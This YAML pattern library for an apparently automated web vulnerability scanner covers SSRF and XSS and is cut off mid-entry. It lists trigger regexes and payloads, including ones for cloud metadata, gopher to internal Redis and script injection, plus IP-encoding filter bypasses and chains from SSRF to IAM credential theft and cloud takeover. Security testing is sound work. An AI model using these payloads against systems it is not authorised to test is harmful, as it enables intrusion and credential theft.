# Vulnerability Pattern Library - curated from disclosed HackerOne reports # All string values containing ':' are quoted to prevent YAML parsing issues. patterns: - id: ssrf title: "Server-Side Request Forgery" capability: web.scan triggers: - '[?&](url|next|redirect|return|callback|forward|proxy|path|dest|target|uri|link|src|source)=' - '[?&](webhook|notify_url|callback_url|ping_url|fetch_url)=' - '/webhook/[a-zA-Z0-9_-]+' detection: - "Parameter value is or contains a URL" - "Application fetches remote resource and reflects content" - "SSRF-blind: DNS/HTTP callback via Burp Collaborator or interactsh" payloads: - "http://169.254.169.254/latest/meta-data/" - "http://127.0.0.1:8080/admin" - "http://localhost:6379/ (Redis)" - "gopher://127.0.0.1:6379/_INFO" - "dict://127.0.0.1:11211/ (Memcached)" bypass: - "IPv6: http://[::1]:8080/" - "DNS rebinding: http://1.0.0.127.nip.io/" - "URL scheme abuse: gopher://, dict://, file://" - "Decimal IP: http://2130706433/" - "Octal IP: http://0177.0.0.1/" - "Short-hand IP: http://0/" - "Enclosed alphanumeric: http://..." - "DNS A/AAAA record pointing to internal IP" - "Redirect chain: external URL to 302 to internal" - "CRLF injection in URL" - "Unicode normalization bypass" chain_templates: - "SSRF to cloud metadata to IAM credentials to cloud takeover" - "SSRF to internal service to RCE" - "SSRF to internal API to IDOR/data leak" verification: - "Confirm out-of-band callback from target server" - "Retrieve unique internal data (metadata, internal endpoints)" - "Not just 200 OK - show actual fetched data" false_positives: - "URL is only parsed, never fetched" - "DNS resolution only, no HTTP request" - "SSRF to yourself (same host)" - id: xss title: "Cross-Site Scripting" capability: xss.detect triggers: - '[?&](q|search|query|keyword|term|input|text|msg|message|comment|name|email|url|redirect|return)=' - ']*>' - 'document\.(cookie|location|write)' - 'innerHTML|outerHTML|eval\(|setTimeout\(|setInterval\(' detection: - "Input reflected in HTML response without encoding" - "Stored input rendered in page without sanitization" - "DOM-based: user input flows to dangerous sink" payloads: - '' - '">' - '' - '' - 'javascript:alert(1)' - '{{constructor.constructor("alert(1)")()}}' bypass: - "Case variations: